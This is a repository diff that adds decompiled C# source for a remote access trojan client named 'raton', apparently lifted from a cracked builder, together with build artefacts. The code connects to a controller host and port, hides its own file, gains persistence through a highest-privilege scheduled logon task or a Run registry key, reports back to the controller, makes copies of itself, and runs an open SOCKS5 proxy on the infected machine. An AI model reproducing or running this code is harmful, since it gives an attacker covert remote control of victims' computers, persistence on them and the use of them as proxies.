if (args.Length >= 2)
|
||||
{
|
||||
Config.Mutex = Helpers.Random(30);
|
||||
Config.ht = args[0];
|
||||
Config.pt = Convert.ToInt32(args[1]);
|
||||
}
|
||||
Application.ThreadException += (ThreadExceptionEventHandler) ((s, e) => Program.LogError("UI Thread", e.Exception));
|
||||
AppDomain.CurrentDomain.UnhandledException += (UnhandledExceptionEventHandler) ((s, e) => Program.LogError("Unhandled", e.ExceptionObject as Exception));
|
||||
TaskScheduler.UnobservedTaskException += (EventHandler<UnobservedTaskExceptionEventArgs>) ((s, e) =>
|
||||
{
|
||||
Program.LogError("Task", (Exception) e.Exception);
|
||||
e.SetObserved();
|
||||
});
|
||||
Application.EnableVisualStyles();
|
||||
Application.SetCompatibleTextRenderingDefault(false);
|
||||
Thread.Sleep(Config.Delay * 1000);
|
||||
if (Config.HideFile)
|
||||
{
|
||||
try
|
||||
{
|
||||
HideClient.Execute();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.LogError("HideFile", ex);
|
||||
}
|
||||
}
|
||||
if (!MutexControl.CreateMutex())
|
||||
Environment.Exit(0);
|
||||
try
|
||||
{
|
||||
Program.client = new SillyClient();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.LogError("Client Init", ex);
|
||||
return;
|
||||
}
|
||||
Task.Run((Action) (() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
Program.client.Connect();
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.LogError("Connect", ex);
|
||||
}
|
||||
}));
|
||||
Task.Run((Func<Task>) (async () =>
|
||||
{
|
||||
try
|
||||
{
|
||||
await Task.Delay(3000);
|
||||
if (args.Length != 0)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "PluginMessage");
|
||||
pack.SetString("Message", "This client was shared to you from someone");
|
||||
Program.client.Send(pack.Pacc());
|
||||
}
|
||||
if (!Config.Startup)
|
||||
return;
|
||||
string location = Assembly.GetExecutingAssembly().Location;
|
||||
Program.AddToStartup(Path.GetFileNameWithoutExtension(location), location);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.LogError("StartupTask", ex);
|
||||
}
|
||||
}));
|
||||
Application.Run(new ApplicationContext());
|
||||
}
|
||||
|
||||
private static void LogError(string context, Exception ex)
|
||||
{
|
||||
Console.WriteLine(context + ex.Message);
|
||||
}
|
||||
|
||||
public static bool IsAdmin()
|
||||
{
|
||||
using (WindowsIdentity current = WindowsIdentity.GetCurrent())
|
||||
return new WindowsPrincipal(current).IsInRole(WindowsBuiltInRole.Administrator);
|
||||
}
|
||||
|
||||
public static void AddToStartup(string name, string path)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (string.IsNullOrWhiteSpace(name) || string.IsNullOrWhiteSpace(path))
|
||||
return;
|
||||
path = Path.GetFullPath(path);
|
||||
if (Program.IsAdmin())
|
||||
{
|
||||
using (Process process = Process.Start(new ProcessStartInfo("schtasks")
|
||||
{
|
||||
Arguments = $"/create /tn \"{name}\" /sc ONLOGON /tr \"\\\"{path}\\\"\" /rl HIGHEST /f",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
RedirectStandardError = true,
|
||||
RedirectStandardOutput = true
|
||||
}))
|
||||
{
|
||||
process.WaitForExit();
|
||||
if (process.ExitCode == 0)
|
||||
{
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Success");
|
||||
pack.SetString("Message", "Startup task created successfully (Task Scheduler)");
|
||||
Program.client?.Send(pack.Pacc());
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true))
|
||||
{
|
||||
if (registryKey == null)
|
||||
return;
|
||||
registryKey.SetValue(name, (object) $"\"{path}\"", RegistryValueKind.String);
|
||||
Pack pack = new Pack();
|
||||
pack.SetString("Packet", "Success");
|
||||
pack.SetString("Message", "Startup registry key added successfully");
|
||||
Program.client?.Send(pack.Pacc());
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.LogError(nameof (AddToStartup), ex);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ShareClient
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
|
||||
#nullable disable
|
||||
public static class ShareClient
|
||||
{
|
||||
public static void Clone(string host, string port)
|
||||
{
|
||||
try
|
||||
{
|
||||
string fileName = Process.GetCurrentProcess().MainModule.FileName;
|
||||
string destFileName = Path.Combine(Path.GetDirectoryName(fileName), Guid.NewGuid().ToString() + ".exe");
|
||||
File.Copy(fileName, destFileName, true);
|
||||
Process.Start(new ProcessStartInfo()
|
||||
{
|
||||
FileName = destFileName,
|
||||
Arguments = $"{host} {port}",
|
||||
UseShellExecute = false
|
||||
});
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SillyClient
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using Client.Raton;
|
||||
|
||||
#nullable disable
|
||||
public class SillyClient
|
||||
{
|
||||
internal Supervisor Supervisor { get; }
|
||||
|
||||
public HandlePacket HandlePacket { get; }
|
||||
|
||||
public ClientState State => this.Supervisor.State;
|
||||
|
||||
public SillyClient()
|
||||
{
|
||||
this.HandlePacket = new HandlePacket(this);
|
||||
this.Supervisor = new Supervisor(this);
|
||||
}
|
||||
|
||||
public void Connect() => this.Supervisor.Start();
|
||||
|
||||
public void Disconnect() => this.Supervisor.Stop();
|
||||
|
||||
public void Send(byte[] data) => this.Supervisor.Send(data);
|
||||
|
||||
public bool IsConnected()
|
||||
{
|
||||
return this.State == ClientState.Connected || this.State == ClientState.Ready;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,81 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Socks5Server
|
||||
// Assembly: Client, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 92DF2D60-35B0-4A06-AFD8-50A246F39510
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Builder\Client.exe
|
||||
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
#nullable disable
|
||||
public class Socks5Server
|
||||
{
|
||||
private TcpListener listener;
|
||||
private bool running;
|
||||
|
||||
public async Task Start(int port)
|
||||
{
|
||||
this.listener = new TcpListener(IPAddress.Any, port);
|
||||
this.listener.Start();
|
||||
this.running = true;
|
||||
while (this.running)
|
||||
this.HandleClient(await this.listener.AcceptTcpClientAsync());
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
this.running = false;
|
||||
this.listener?.Stop();
|
||||
}
|
||||
|
||||
private async Task HandleClient(TcpClient client)
|
||||
{
|
||||
NetworkStream stream = client.GetStream();
|
||||
try
|
||||
{
|
||||
byte[] hello = new byte[2];
|
||||
int num1 = await stream.ReadAsync(hello, 0, hello.Length);
|
||||
byte[] buffer1 = new byte[(int) hello[1]];
|
||||
int num2 = await stream.ReadAsync(buffer1, 0, buffer1.Length);
|
||||
byte[] buffer2 = new byte[2]{ (byte) 5, (byte) 0 };
|
||||
await stream.WriteAsync(buffer2, 0, buffer2.Length);
|
||||
byte[] header = new byte[4];
|
||||
int num3 = await stream.ReadAsync(header, 0, header.Length);
|
||||
string host = "";
|
||||
if (header[3] == (byte) 3)
|
||||
{
|
||||
byte[] hostBytes = new byte[stream.ReadByte()];
|
||||
int num4 = await stream.ReadAsync(hostBytes, 0, hostBytes.Length);
|
||||
host = Encoding.ASCII.GetString(hostBytes);
|
||||
hostBytes = (byte[]) null;
|
||||
}
|
||||
byte[] portBytes = new byte[2];
|
||||
int num5 = await stream.ReadAsync(portBytes, 0, portBytes.Length);
|
||||
int port = (int) portBytes[0] << 8 | (int) portBytes[1];
|
||||
TcpClient remote = new TcpClient();
|
||||
await remote.ConnectAsync(host, port);
|
||||
byte[] numArray = new byte[10];
|
||||
numArray[0] = (byte) 5;
|
||||
numArray[3] = (byte) 1;
|
||||
byte[] buffer3 = numArray;
|
||||
await stream.WriteAsync(buffer3, 0, buffer3.Length);
|
||||
NetworkStream stream1 = remote.GetStream();
|
||||
stream1.CopyToAsync((Stream) stream);
|
||||
stream.CopyToAsync((Stream) stream1);
|
||||
hello = (byte[]) null;
|
||||
header = (byte[]) null;
|
||||
host = (string) null;
|
||||
portBytes = (byte[]) null;
|
||||
remote = (TcpClient) null;
|
||||
stream = (NetworkStream) null;
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.Close();
|
||||
stream = (NetworkStream) null;
|
||||
}
|
||||
}
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
costura.costura.dll.compressed|6.0.0.0|Costura, Version=6.0.0.0, Culture=neutral, PublicKeyToken=9919ef960d84173d|Costura.dll|028E9832F421F11F9497C610F1734E0F3D868037|5120
|
||||
costura.costura.pdb.compressed|||Costura.pdb|806F4C19B2D7FD9E3B836269EC07647019A29E95|7960
|
||||
costura.messagepacklib.dll.compressed|1.0.0.0|MessagePackLib, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null|MessagePackLib.dll|67A52A50875B6072355D725CD38DD69A592F6480|10240
|
||||
costura.system.buffers.dll.compressed|4.0.3.0|System.Buffers, Version=4.0.3.0, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51|System.Buffers.dll|2F410A0396BC148ED533AD49B6415FB58DD4D641|20856
|
||||
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
// <autogenerated />
|
||||
using System;
|
||||
using System.Reflection;
|
||||
[assembly: global::System.Runtime.Versioning.TargetFrameworkAttribute(".NETFramework,Version=v4.7.2", FrameworkDisplayName = ".NET Framework 4.7.2")]
|
||||
Binary file not shown.
Binary file not shown.
@@ -0,0 +1 @@
|
||||
94ea750660fedbfcfd2429674cf0119f84e3e46b3b7ce120f35d0710d87142cf
|
||||
@@ -0,0 +1,10 @@
|
||||
C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.AssemblyReference.cache
|
||||
C:\Users\user\Desktop\raton\Client\obj\Release\Client.Properties.Resources.resources
|
||||
C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.GenerateResource.cache
|
||||
C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.CoreCompileInputs.cache
|
||||
C:\Users\user\Desktop\raton\Client\bin\Release\Client.exe
|
||||
C:\Users\user\Desktop\raton\Client\bin\Release\Client.pdb
|
||||
C:\Users\user\Desktop\raton\Client\bin\Release\MessagePackLib.dll
|
||||
C:\Users\user\Desktop\raton\Client\obj\Release\Client.csproj.Up2Date
|
||||
C:\Users\user\Desktop\raton\Client\obj\Release\Client.exe
|
||||
C:\Users\user\Desktop\raton\Client\obj\Release\Client.pdb
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Reference in New Issue
Block a user